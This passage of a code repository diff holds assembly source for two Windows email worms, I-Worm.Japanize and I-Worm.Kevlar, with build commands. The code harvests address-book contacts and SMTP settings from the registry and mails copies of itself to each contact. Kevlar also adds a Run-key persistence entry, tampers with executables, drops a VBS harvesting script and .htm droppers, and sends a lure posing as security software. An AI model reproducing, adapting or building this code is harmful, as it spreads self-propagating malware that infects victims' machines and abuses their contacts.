|
||||
js_15 db 'GyRCMz8bKEI=',0 ; ウソコ
|
||||
js_16 db 'GyRCJSYlYxsoQlI=',0 ; ウソコ
|
||||
js_17 db 'GyRCJCYkcyQzGyhC',0 ; うんこ
|
||||
|
||||
.code
|
||||
start:
|
||||
callW GetTickCount
|
||||
mov dwo [r_seed],eax
|
||||
jmp @@go
|
||||
;; signature :)
|
||||
db 'XXXXXXXXXXXXXXXXXXXXXXXXXXX',0
|
||||
db 'XXXXX I-Worm.Japanize XXXXX',0
|
||||
db 'XXXXXXXXXXXXXXXXXXXXXXXXXXX',0
|
||||
@@go:
|
||||
call get_some_info
|
||||
|
||||
push ofs buffer
|
||||
push 0101h
|
||||
callW WSAStartup
|
||||
test eax,eax
|
||||
jnz exit
|
||||
|
||||
call open_wab
|
||||
test eax,eax
|
||||
jnz clean_sock
|
||||
|
||||
call create_base64enc
|
||||
|
||||
call spread
|
||||
|
||||
free_mem:
|
||||
push dwo [ptr_base64buf]
|
||||
callW GlobalUnlock
|
||||
push dwo [hmemout]
|
||||
callW GlobalFree
|
||||
|
||||
close_wab4:
|
||||
push dwo [hwab4file]
|
||||
push dwo [hwab4map]
|
||||
push dwo [hwab4mapview]
|
||||
callW CloseHandle
|
||||
callW CloseHandle
|
||||
callW CloseHandle
|
||||
|
||||
clean_sock:
|
||||
callW WSACleanup
|
||||
|
||||
exit:
|
||||
push 0
|
||||
callW ExitProcess
|
||||
|
||||
|
||||
|
||||
spread:
|
||||
;; lifewire ;)
|
||||
mov esi,dwo [hwab4mapview]
|
||||
mov ecx,[esi+64h] ; num of addr
|
||||
jecxz @@exit
|
||||
add esi,[esi+60h] ; ptr to addr
|
||||
|
||||
@@spread_loop:
|
||||
push ecx
|
||||
|
||||
mov eax,esi
|
||||
cmp by [esi+1],0
|
||||
jne @@nounicode
|
||||
push esi
|
||||
lea edi,target_mailaddr
|
||||
push edi
|
||||
|
||||
push 48h
|
||||
pop ecx
|
||||
@@1:
|
||||
lodsw
|
||||
stosb
|
||||
loop @@1
|
||||
|
||||
pop eax
|
||||
pop esi
|
||||
add esi,20h
|
||||
|
||||
@@nounicode:
|
||||
call spread2
|
||||
|
||||
add esi,24h
|
||||
pop ecx
|
||||
loop @@spread_loop
|
||||
|
||||
@@exit:
|
||||
ret
|
||||
|
||||
|
||||
spread2:
|
||||
push esi
|
||||
mov esi,eax ; now esi=email addr
|
||||
|
||||
push 0
|
||||
push 1
|
||||
push 2
|
||||
callW socket
|
||||
mov dwo [sock],eax
|
||||
|
||||
mov wo [sin_family],AF_INET
|
||||
mov ax,25
|
||||
xchg al,ah
|
||||
mov wo [sin_port],ax
|
||||
|
||||
push ofs SMTP_Server
|
||||
callW gethostbyname
|
||||
test eax,eax
|
||||
jz @@exit
|
||||
|
||||
mov eax,[eax+12]
|
||||
mov eax,[eax]
|
||||
mov eax,[eax]
|
||||
|
||||
mov dwo [sin_addr],eax
|
||||
push len_sockaddr_in
|
||||
lea eax,sockaddr_in
|
||||
push eax
|
||||
push dwo [sock]
|
||||
callW connect
|
||||
test eax,eax
|
||||
jnz @@exit
|
||||
|
||||
call sendmail
|
||||
|
||||
@@exit:
|
||||
pop esi
|
||||
ret
|
||||
|
||||
|
||||
;;; ---
|
||||
;;; reg stuff
|
||||
get_some_info:
|
||||
xor ebx,ebx
|
||||
|
||||
push ofs hReg
|
||||
push 1
|
||||
push ebx
|
||||
push ofs str_SMInternetAccountManager
|
||||
push HKEY_CURRENT_USER
|
||||
callW RegOpenKeyExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push ofs bufsiz_accountidx
|
||||
push ofs AccountIdx
|
||||
push ebx
|
||||
push ebx
|
||||
push ofs str_DMA
|
||||
push dwo [hReg]
|
||||
callW RegQueryValueExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push dwo [hReg]
|
||||
callW RegCloseKey
|
||||
|
||||
push ofs hReg
|
||||
push 1
|
||||
push ebx
|
||||
push ofs str_SMIAccounts
|
||||
push HKEY_CURRENT_USER
|
||||
callW RegOpenKeyExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push ofs bufsiz_SMTPSERVER
|
||||
push ofs SMTP_Server
|
||||
push ebx
|
||||
push ebx
|
||||
push ofs str_SMTPNAME
|
||||
push dwo [hReg]
|
||||
callW RegQueryValueExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push ofs bufsiz_morons_mailaddr
|
||||
push ofs morons_Mailaddr
|
||||
push ebx
|
||||
push ebx
|
||||
push ofs str_SMTPEmailAddr
|
||||
push dwo [hReg]
|
||||
callW RegQueryValueExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push dwo [hReg]
|
||||
callW RegCloseKey
|
||||
|
||||
push ofs hReg
|
||||
push 1
|
||||
push ebx
|
||||
push ofs str_SMWab4
|
||||
push HKEY_CURRENT_USER
|
||||
callW RegOpenKeyExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push ofs bufsiz_wab4_path
|
||||
push ofs wab4_path
|
||||
push ebx
|
||||
push ebx
|
||||
push ebx
|
||||
push dwo [hReg]
|
||||
callW RegQueryValueExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push dwo [hReg]
|
||||
callW RegCloseKey
|
||||
xor eax,eax
|
||||
ret
|
||||
@@error:
|
||||
xor eax,eax
|
||||
dec eax
|
||||
ret
|
||||
|
||||
|
||||
open_wab:
|
||||
xor ebx,ebx
|
||||
push ebx
|
||||
push FILE_ATTRIBUTE_NORMAL
|
||||
push OPEN_EXISTING
|
||||
push ebx
|
||||
push FILE_SHARE_WRITE
|
||||
push GENERIC_READ
|
||||
push ofs wab4_path
|
||||
callW CreateFileA
|
||||
inc eax
|
||||
jz @@error
|
||||
dec eax
|
||||
mov dwo [hwab4file],eax
|
||||
|
||||
push ebx
|
||||
push ebx
|
||||
push ebx
|
||||
push PAGE_READONLY
|
||||
push ebx
|
||||
push eax
|
||||
callW CreateFileMappingA
|
||||
mov dwo [hwab4map],eax
|
||||
|
||||
push ebx
|
||||
push ebx
|
||||
push ebx
|
||||
push FILE_MAP_READ
|
||||
push eax
|
||||
callW MapViewOfFile
|
||||
mov dwo [hwab4mapview],eax
|
||||
xor eax,eax
|
||||
ret
|
||||
@@error:
|
||||
xor eax,eax
|
||||
dec eax
|
||||
ret
|
||||
|
||||
create_base64enc:
|
||||
push 260
|
||||
push ofs myfilename
|
||||
push 0
|
||||
callW GetModuleFileNameA
|
||||
|
||||
xor ebx,ebx
|
||||
push ebx
|
||||
push FILE_ATTRIBUTE_NORMAL
|
||||
push OPEN_EXISTING
|
||||
push ebx
|
||||
push FILE_SHARE_READ
|
||||
push GENERIC_READ
|
||||
push ofs myfilename
|
||||
callW CreateFileA
|
||||
inc eax
|
||||
jz @@error
|
||||
dec eax
|
||||
mov dwo [hmyfile],eax
|
||||
|
||||
push 0
|
||||
push dwo [hmyfile]
|
||||
callW GetFileSize
|
||||
mov dwo [fsize],eax
|
||||
|
||||
add eax,100h
|
||||
push eax
|
||||
push GHND
|
||||
callW GlobalAlloc
|
||||
mov dwo [hmemout0],eax
|
||||
|
||||
push eax
|
||||
callW GlobalLock
|
||||
mov dwo [ptr_myself],eax
|
||||
|
||||
push 0
|
||||
push ofs recv_buffer
|
||||
push dwo [fsize]
|
||||
push eax
|
||||
push dwo [hmyfile]
|
||||
callW ReadFile
|
||||
test eax,eax
|
||||
jz @@eexit
|
||||
|
||||
push 0
|
||||
push dwo [hmyfile]
|
||||
callW GetFileSize
|
||||
push eax ; save size
|
||||
|
||||
shl eax,1 ; eax*2
|
||||
|
||||
push eax
|
||||
push GHND
|
||||
callW GlobalAlloc
|
||||
mov dwo [hmemout],eax
|
||||
|
||||
push eax
|
||||
callW GlobalLock
|
||||
mov dwo [ptr_base64buf],eax
|
||||
|
||||
; pop ebx ; restore size
|
||||
; push ebx ; size
|
||||
push eax
|
||||
push dwo [ptr_myself]
|
||||
call base64encode
|
||||
|
||||
|
||||
push dwo [hmyfile]
|
||||
callW CloseHandle
|
||||
|
||||
push dwo [ptr_myself]
|
||||
callW GlobalUnlock
|
||||
push dwo [hmemout0]
|
||||
callW GlobalFree
|
||||
|
||||
xor eax,eax
|
||||
ret
|
||||
|
||||
@@eexit:
|
||||
push dwo [hmyfile]
|
||||
callW CloseHandle
|
||||
|
||||
push dwo [ptr_myself]
|
||||
callW GlobalUnlock
|
||||
push dwo [hmemout0]
|
||||
callW GlobalFree
|
||||
|
||||
@@error:
|
||||
xor eax,eax
|
||||
dec eax
|
||||
ret
|
||||
|
||||
base64encode proc pascal
|
||||
arg @@src
|
||||
arg @@dest
|
||||
arg @@srclen
|
||||
|
||||
mov esi,dwo [@@src]
|
||||
mov edi,dwo [@@dest]
|
||||
|
||||
@@b64loop:
|
||||
xor eax,eax
|
||||
cmp dwo [@@srclen],1
|
||||
jne @@srclen2
|
||||
lodsb
|
||||
push 2
|
||||
pop ecx
|
||||
mov edx,03D3Dh ; ==
|
||||
dec dwo [@@srclen]
|
||||
jmp @@b64next
|
||||
|
||||
@@srclen2:
|
||||
cmp dwo [@@srclen],2
|
||||
jne @@srclen3
|
||||
lodsw
|
||||
push 3
|
||||
pop ecx
|
||||
push 03dh
|
||||
pop edx
|
||||
sub dwo [@@srclen],2
|
||||
jmp @@b64next
|
||||
@@srclen3:
|
||||
lodsd
|
||||
push 4
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
dec esi
|
||||
sub dwo [@@srclen],3
|
||||
|
||||
@@b64next:
|
||||
bswap eax
|
||||
|
||||
@@b64n_loop:
|
||||
mov ebx,eax
|
||||
and eax,0FC000000h
|
||||
rol eax,6
|
||||
mov al,[@@b64table + eax]
|
||||
stosb
|
||||
mov eax,ebx
|
||||
shl eax,6
|
||||
dec ecx
|
||||
jnz @@b64n_loop
|
||||
|
||||
cmp dwo [@@srclen],0
|
||||
ja @@b64loop
|
||||
|
||||
mov eax,edx
|
||||
stosd
|
||||
ret
|
||||
|
||||
@@b64table db "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|
||||
endp
|
||||
|
||||
|
||||
g_send:
|
||||
;; in
|
||||
;; ecx = size
|
||||
;; esi = ptr to data
|
||||
;; out
|
||||
;; eax = ret value of send()
|
||||
push 0
|
||||
push ecx
|
||||
push esi
|
||||
push dwo [sock]
|
||||
callW send
|
||||
ret
|
||||
|
||||
g_recv:
|
||||
;; out
|
||||
;; error -> eax=-1 success -> eax = 0
|
||||
@@again:
|
||||
push 0
|
||||
push 1024
|
||||
push ofs recv_buffer
|
||||
push dwo [sock]
|
||||
callW recv
|
||||
inc eax
|
||||
jz @@recv_error
|
||||
cmp eax,1024
|
||||
jz @@again
|
||||
xor eax,eax
|
||||
ret
|
||||
@@recv_error:
|
||||
xor eax,eax
|
||||
dec eax
|
||||
ret
|
||||
|
||||
|
||||
sendmail:
|
||||
;; yea. lame routine ;)
|
||||
push esi ; mail addr
|
||||
mov dwo [jflag],0 ; flag for .jp
|
||||
;;
|
||||
call g_recv
|
||||
|
||||
;;
|
||||
lea esi,smtp_HELO
|
||||
mov ecx,len_smtp_HELO
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
|
||||
;;
|
||||
lea esi,smtp_MAIL_FROM
|
||||
mov ecx,len_smtp_MAIL_FROM
|
||||
call g_send
|
||||
|
||||
push ofs morons_Mailaddr
|
||||
callW lstrlen
|
||||
mov ecx,eax
|
||||
lea esi,morons_Mailaddr
|
||||
call g_send
|
||||
mov ecx,2
|
||||
lea esi,smtp_crlf
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
;;
|
||||
mov ecx,len_smtp_RCPT_TO
|
||||
lea esi,smtp_RCPT_TO
|
||||
call g_send
|
||||
|
||||
pop esi
|
||||
push esi
|
||||
|
||||
push esi
|
||||
callW lstrlen
|
||||
push eax ; save
|
||||
mov ecx,eax
|
||||
call g_send
|
||||
|
||||
mov ecx,2
|
||||
lea esi,smtp_crlf
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
|
||||
;; .jp?
|
||||
pop eax ; len of mail address
|
||||
pop esi
|
||||
push esi ; mail address
|
||||
add esi,eax
|
||||
sub esi,3
|
||||
cmp dwo [esi],00706a2eh ; .jp?
|
||||
jne @@1
|
||||
inc dwo [jflag]
|
||||
@@1:
|
||||
;;
|
||||
|
||||
lea esi,smtp_DATA
|
||||
mov ecx,len_smtp_DATA
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
;;
|
||||
|
||||
lea esi,smtp_BODY_FROM
|
||||
mov ecx,len_smtp_BODY_FROM
|
||||
call g_send
|
||||
|
||||
push ofs morons_Mailaddr
|
||||
callW lstrlen
|
||||
mov ecx,eax
|
||||
lea esi,morons_Mailaddr
|
||||
call g_send
|
||||
|
||||
lea esi,smtp_BODY_TO
|
||||
mov ecx,len_smtp_BODY_TO
|
||||
call g_send
|
||||
|
||||
pop esi
|
||||
push esi
|
||||
|
||||
push esi
|
||||
callW lstrlen
|
||||
mov ecx,eax
|
||||
call g_send
|
||||
|
||||
cmp dwo [jflag],0
|
||||
jnz @@jsubject
|
||||
|
||||
mov ecx,len_smtp_BODY_SUBJECT
|
||||
lea esi,smtp_BODY_SUBJECT
|
||||
call g_send
|
||||
jmp @@body
|
||||
|
||||
@@jsubject:
|
||||
;; gen subject
|
||||
mov ecx,len_smtp_jsubject_1
|
||||
lea esi,smtp_jsubject_1
|
||||
call g_send
|
||||
|
||||
mov esi,(num_of_jsub-1)
|
||||
call rng
|
||||
lea esi,japanese_subjects
|
||||
mov esi,dwo [esi+eax*4]
|
||||
push esi
|
||||
callW lstrlen
|
||||
mov ecx,eax
|
||||
call g_send
|
||||
|
||||
mov ecx,len_smtp_jsubject_2
|
||||
lea esi,smtp_jsubject_2
|
||||
call g_send
|
||||
|
||||
|
||||
|
||||
@@body:
|
||||
lea esi,smtp_MIME_h
|
||||
mov ecx,len_smtp_MIME_h
|
||||
call g_send
|
||||
|
||||
mov esi,dwo [ptr_base64buf]
|
||||
push esi
|
||||
push esi
|
||||
callW lstrlen
|
||||
pop esi
|
||||
mov ecx,eax
|
||||
call g_send
|
||||
|
||||
lea esi,smtp_MIME_e
|
||||
mov ecx,len_smtp_MIME_e
|
||||
call g_send
|
||||
|
||||
|
||||
mov ecx,len_smtp_DOT_CRLF
|
||||
lea esi,smtp_DOT_CRLF
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
;;
|
||||
|
||||
mov ecx,len_smtp_QUIT
|
||||
lea esi,smtp_QUIT
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
pop esi
|
||||
|
||||
ret
|
||||
|
||||
|
||||
rng:
|
||||
;; in
|
||||
;; esi = range
|
||||
;; out
|
||||
;; eax = random number
|
||||
rdtsc
|
||||
xor eax,edx
|
||||
imul eax,dwo [r_seed]
|
||||
dec eax
|
||||
mov dwo [r_seed],eax
|
||||
xor edx,edx
|
||||
div esi
|
||||
mov eax,edx
|
||||
ret
|
||||
|
||||
end start
|
||||
|
||||
*************************************************************************
|
||||
|
||||
@ECHO OFF
|
||||
TASM32 /ml /m /z japanize.asm,japanize.obj
|
||||
TLINK32 -x -aa -Tpe japanize.obj,,,%import32.lib
|
||||
DEL *.OBJ
|
651
Win32/I-Worm.Kevlar.asm
Normal file
651
Win32/I-Worm.Kevlar.asm
Normal file
@ -0,0 +1,651 @@
|
||||
comment #
|
||||
Name : I-Worm.Kevlar
|
||||
Author : PetiK
|
||||
Date : August 7th 2001 - August 16th 2001
|
||||
Size : 5120 byte
|
||||
|
||||
Action : Copy itself to %System%\Kevlar32.exe hidden attribute
|
||||
%System%\MScfg32.exe normal attribute
|
||||
Add HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Kevlar32 = %System%\Kevlar32.exe
|
||||
|
||||
* Infect %Windir%\C???????.exe file on writing as "PetiK" in the file
|
||||
* Infect %Windir%\*.exe It add .htm and create a new file with ActiveX
|
||||
* Create C:\__.vbs This filetake all address in th e Address Book at save them in the
|
||||
%windir%\AddBook.txt. The worm scan this file to find the address and send a new mail :
|
||||
|
||||
Subject : Windows Protect !!
|
||||
Body : The smallest software to stop your computer to bug in each time.
|
||||
I have found this program on WWW.KEVLAR-PROTECT.COM
|
||||
|
||||
Take a look at the attchment.
|
||||
|
||||
Bye and have a nice day.
|
||||
|
||||
Attachment : MScfg32.exe
|
||||
|
||||
* It creates the %windir%\MSinfo32.txt. I look like this :
|
||||
|
||||
[File Infected] => Name of C???????.exe file infected
|
||||
CLEANMGR.EXE=Infected by W32.Kevlar.PetiK
|
||||
CVTAPLOG.EXE=Infected by W32.Kevlar.PetiK
|
||||
|
||||
[EMail saved] => Some address found in the address book
|
||||
first@mail.com=Next victim
|
||||
second@mail.com=Next victim
|
||||
|
||||
|
||||
To build the worm:
|
||||
tasm32 /M /ML Kevlar
|
||||
tlink32 -Tpe -aa -x Kevlar,,,import32
|
||||
upx -9 Kevlar.exe
|
||||
|
||||
To delete the worm:
|
||||
@echo off
|
||||
del %windir%\system\Kevlar32.exe
|
||||
del %windir%\system\MScfg32.exe
|
||||
del %windir%\*.exe.htm
|
||||
del %windir%\MSinfo32.txt
|
||||
del %windir%\AddBook.txt
|
||||
|
||||
#
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
.code
|
||||
|
||||
JUMPS
|
||||
|
||||
callx macro a
|
||||
extrn a:proc
|
||||
call a
|
||||
endm
|
||||
|
||||
include useful.inc
|
||||
|
||||
DEBUT:
|
||||
F_NAME: push 50
|
||||
mov esi,offset Orig
|
||||
push esi
|
||||
push 0
|
||||
callx GetModuleFileNameA
|
||||
|
||||
mov edi,offset CopyName2
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetSystemDirectoryA
|
||||
add edi,eax
|
||||
mov eax,'cSM\'
|
||||
stosd
|
||||
mov eax,'23gf'
|
||||
stosd
|
||||
mov eax,'exe.'
|
||||
stosd
|
||||
pop edi
|
||||
push 0
|
||||
push edi
|
||||
push esi
|
||||
callx CopyFileA
|
||||
|
||||
mov edi,offset CopyName
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetSystemDirectoryA
|
||||
add edi,eax
|
||||
mov al,'\'
|
||||
stosb
|
||||
mov eax,'lveK'
|
||||
stosd
|
||||
mov eax,'23ra'
|
||||
stosd
|
||||
mov eax,'exe.'
|
||||
stosd
|
||||
pop edi
|
||||
|
||||
push esi
|
||||
callx GetFileAttributesA
|
||||
cmp eax,1
|
||||
je SUITE
|
||||
|
||||
push 0
|
||||
push edi
|
||||
push esi
|
||||
callx CopyFileA
|
||||
|
||||
push 01h
|
||||
push edi
|
||||
callx SetFileAttributesA
|
||||
|
||||
|
||||
REG: pushad
|
||||
@pushsz "SHLWAPI.dll"
|
||||
callx LoadLibraryA
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov edi,eax
|
||||
@pushsz "SHSetValueA"
|
||||
push edi
|
||||
callx GetProcAddress
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov esi,eax
|
||||
push 08h
|
||||
push offset CopyName
|
||||
push 01h
|
||||
@pushsz "Kevlar32"
|
||||
@pushsz "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
|
||||
push 80000002h
|
||||
call esi
|
||||
push edi
|
||||
callx FreeLibrary
|
||||
popad
|
||||
|
||||
call Nick
|
||||
|
||||
mov edi,offset nickname
|
||||
push 40h
|
||||
@pushsz "Hello, my name is :"
|
||||
push edi
|
||||
push 0
|
||||
callx MessageBoxA
|
||||
|
||||
call Infect
|
||||
|
||||
jmp FIN
|
||||
|
||||
SUITE: call Infect2
|
||||
VB_F: pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 02h
|
||||
push 00h
|
||||
push 01h
|
||||
push 40000000h
|
||||
@pushsz "C:\__.vbs"
|
||||
callx CreateFileA
|
||||
test eax,eax
|
||||
xchg edi,eax
|
||||
push 00h
|
||||
push offset octets
|
||||
push VBSSIZE
|
||||
push offset vbsd
|
||||
push edi
|
||||
callx WriteFile
|
||||
push edi
|
||||
callx CloseHandle
|
||||
popad
|
||||
push 1
|
||||
@pushsz "wscript C:\__.vbs"
|
||||
callx WinExec
|
||||
push 10000
|
||||
callx Sleep
|
||||
@pushsz "C:\__.vbs"
|
||||
callx DeleteFileA
|
||||
|
||||
SCAN1: mov edi,offset addbook
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetWindowsDirectoryA
|
||||
add edi,eax
|
||||
mov eax,"ddA\"
|
||||
stosd
|
||||
mov eax,"kooB"
|
||||
stosd
|
||||
mov eax,"txt."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
call OPEN
|
||||
|
||||
FIN: push 00h
|
||||
callx ExitProcess
|
||||
|
||||
Nick Proc
|
||||
mov edi,offset nickname
|
||||
callx GetTickCount
|
||||
push 9
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc edx
|
||||
mov ecx,edx
|
||||
name_g:
|
||||
push ecx
|
||||
callx GetTickCount
|
||||
push 'Z'-'A'
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
xchg eax,edx
|
||||
add al,'A'
|
||||
stosb
|
||||
callx GetTickCount
|
||||
push 100
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
push edx
|
||||
callx Sleep
|
||||
pop ecx
|
||||
loop name_g
|
||||
ret
|
||||
Nick EndP
|
||||
|
||||
Infect Proc
|
||||
pushad
|
||||
push 50
|
||||
push offset WinPath
|
||||
callx GetWindowsDirectoryA
|
||||
push offset WinPath
|
||||
callx SetCurrentDirectoryA
|
||||
FFF:
|
||||
push offset Search
|
||||
@pushsz "C???????.exe"
|
||||
callx FindFirstFileA
|
||||
inc eax
|
||||
je F_INF
|
||||
dec eax
|
||||
mov [exeHdl],eax
|
||||
I_FILE:
|
||||
mov verif,0
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push 03h
|
||||
push eax
|
||||
push eax
|
||||
push 80000000h or 40000000h
|
||||
push offset Search.cFileName
|
||||
callx CreateFileA
|
||||
inc eax
|
||||
jz FNF
|
||||
dec eax
|
||||
xchg eax,ebx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h
|
||||
push eax
|
||||
push ebx
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
jz CL1
|
||||
xchg eax,ebp
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 06h
|
||||
push ebp
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
jz CL2
|
||||
xchg eax,edi
|
||||
|
||||
mov esi,eax
|
||||
cmp word ptr [esi],"ZM"
|
||||
jne CL2
|
||||
cmp byte ptr [esi+18h],"@"
|
||||
jne CL2
|
||||
cmp word ptr [esi+80h],"EP"
|
||||
jne CL2
|
||||
cmp byte ptr [esi+12h],"P"
|
||||
je CL2
|
||||
mov word ptr [esi+12h],"eP"
|
||||
mov word ptr [esi+14h],"it"
|
||||
mov byte ptr [esi+16h],"K"
|
||||
inc verif
|
||||
push edi
|
||||
callx UnmapViewOfFile
|
||||
CL2:
|
||||
push ebp
|
||||
callx CloseHandle
|
||||
CL1:
|
||||
push ebx
|
||||
callx CloseHandle
|
||||
|
||||
cmp verif,1
|
||||
jne FNF
|
||||
mov edi,offset InfoFile
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetWindowsDirectoryA
|
||||
add edi,eax
|
||||
mov eax,'iSM\'
|
||||
stosd
|
||||
mov eax,'3ofn'
|
||||
stosd
|
||||
mov eax,'xt.2'
|
||||
stosd
|
||||
mov al,'t'
|
||||
stosb
|
||||
pop edi
|
||||
mov esi,edi
|
||||
push esi
|
||||
@pushsz "Infected by W32.Kevlar.PetiK"
|
||||
push offset Search.cFileName
|
||||
@pushsz "File Infected"
|
||||
callx WritePrivateProfileStringA
|
||||
|
||||
FNF:
|
||||
push offset Search
|
||||
push [exeHdl]
|
||||
callx FindNextFileA
|
||||
test eax,eax
|
||||
jne I_FILE
|
||||
FC:
|
||||
push [exeHdl]
|
||||
callx FindClose
|
||||
F_INF:
|
||||
popad
|
||||
ret
|
||||
Infect EndP
|
||||
|
||||
Infect2 Proc
|
||||
pushad
|
||||
push 50
|
||||
push offset WinPath
|
||||
callx GetWindowsDirectoryA
|
||||
push offset WinPath
|
||||
callx SetCurrentDirectoryA
|
||||
FFF2:
|
||||
push offset Search
|
||||
@pushsz "*.exe"
|
||||
callx FindFirstFileA
|
||||
inc eax
|
||||
je F_INF2
|
||||
dec eax
|
||||
mov [exeHdl],eax
|
||||
I_FILE2:
|
||||
pushad
|
||||
mov edi,offset Search.cFileName
|
||||
push edi
|
||||
callx lstrlen
|
||||
add edi,eax
|
||||
mov eax,"mth."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
push 00h
|
||||
push 80h
|
||||
push 02h
|
||||
push 00h
|
||||
push 01h
|
||||
push 40000000h
|
||||
push offset Search.cFileName
|
||||
callx CreateFileA
|
||||
test eax,eax
|
||||
xchg ebp,eax
|
||||
push 00h
|
||||
push offset octets
|
||||
push HTMSIZE
|
||||
push offset htmd
|
||||
push ebp
|
||||
callx WriteFile
|
||||
push ebp
|
||||
callx CloseHandle
|
||||
popad
|
||||
FNF2:
|
||||
push offset Search
|
||||
push [exeHdl]
|
||||
callx FindNextFileA
|
||||
test eax,eax
|
||||
jne I_FILE2
|
||||
FC2:
|
||||
push [exeHdl]
|
||||
callx FindClose
|
||||
F_INF2:
|
||||
popad
|
||||
ret
|
||||
Infect2 EndP
|
||||
|
||||
OPEN: pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 03h
|
||||
push 00h
|
||||
push 01h
|
||||
push 80000000h
|
||||
push offset addbook
|
||||
callx CreateFileA
|
||||
inc eax
|
||||
je NO
|
||||
dec eax
|
||||
xchg eax,ebx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 02h
|
||||
push eax
|
||||
push ebx
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
je F1
|
||||
xchg eax,ebp
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h
|
||||
push ebp
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
je F2
|
||||
xchg eax,esi
|
||||
|
||||
push 00h
|
||||
push ebx
|
||||
callx GetFileSize
|
||||
cmp eax,03h
|
||||
jbe F3 ; is the file empty ??
|
||||
|
||||
call SCAN
|
||||
|
||||
F3: push esi
|
||||
callx UnmapViewOfFile
|
||||
F2: push ebp
|
||||
callx CloseHandle
|
||||
F1: push ebx
|
||||
callx CloseHandle
|
||||
NO: popad
|
||||
ret
|
||||
|
||||
SCAN:
|
||||
pushad
|
||||
xor edx,edx
|
||||
mov edi,offset m_addr
|
||||
push edi
|
||||
p_c: lodsb
|
||||
cmp al," "
|
||||
je car_s
|
||||
cmp al,0dh
|
||||
je entr1
|
||||
cmp al,0ah
|
||||
je entr2
|
||||
cmp al,"!"
|
||||
je f_mail
|
||||
cmp al,"@"
|
||||
je not_a
|
||||
inc edx
|
||||
not_a: stosb
|
||||
jmp p_c
|
||||
car_s: inc esi
|
||||
jmp p_c
|
||||
entr1: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
test edx,edx
|
||||
je SCAN
|
||||
call SEND_MAIL
|
||||
jmp SCAN
|
||||
entr2: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
jmp SCAN
|
||||
f_mail: popad
|
||||
ret
|
||||
|
||||
SEND_MAIL:
|
||||
push 50
|
||||
push offset save_addr
|
||||
callx GetWindowsDirectoryA
|
||||
@pushsz "\MSinfo32.txt"
|
||||
push offset save_addr
|
||||
callx lstrcat
|
||||
push offset save_addr
|
||||
@pushsz "Next victim"
|
||||
push offset m_addr
|
||||
@pushsz "EMail saved"
|
||||
callx WritePrivateProfileStringA
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push offset Message
|
||||
push eax
|
||||
push [MAPIHdl]
|
||||
callx MAPISendMail
|
||||
ret
|
||||
|
||||
|
||||
|
||||
.data
|
||||
; ===== INSTALLATION =====
|
||||
Orig db 50 dup (0)
|
||||
CopyName db 50 dup (0)
|
||||
CopyName2 db 50 dup (0)
|
||||
nickname db 11 dup (?)
|
||||
|
||||
; ===== INFECTION =====
|
||||
InfoFile db 50 dup (0)
|
||||
WinPath db 50 dup (0)
|
||||
exeHdl dd ?
|
||||
verif dd ?
|
||||
octets dd ?
|
||||
|
||||
; ===== MAIL =====
|
||||
addbook db 50 dup (0)
|
||||
save_addr db 50 dup (0)
|
||||
m_addr db 128 dup (?)
|
||||
MAPIHdl dd 0
|
||||
subject db "Windows Protect !!",00h
|
||||
body db "The smallest software to stop your computer to bug in each time.",0dh,0ah
|
||||
db "I have found this program on WWW.KEVLAR-PROTECT.COM",0dh,0ah,0dh,0ah
|
||||
db "Take a look at the attchment.",0dh,0ah,0dh,0ah
|
||||
db 09h,09h,"Bye and have a nice day.",00h
|
||||
NameFrom db "Your friend",00h
|
||||
|
||||
|
||||
Message dd ?
|
||||
dd offset subject
|
||||
dd offset body
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd 2
|
||||
dd offset MsgFrom
|
||||
dd 1
|
||||
dd offset MsgTo
|
||||
dd 1
|
||||
dd offset Attach
|
||||
|
||||
MsgFrom dd ?
|
||||
dd ?
|
||||
dd NameFrom
|
||||
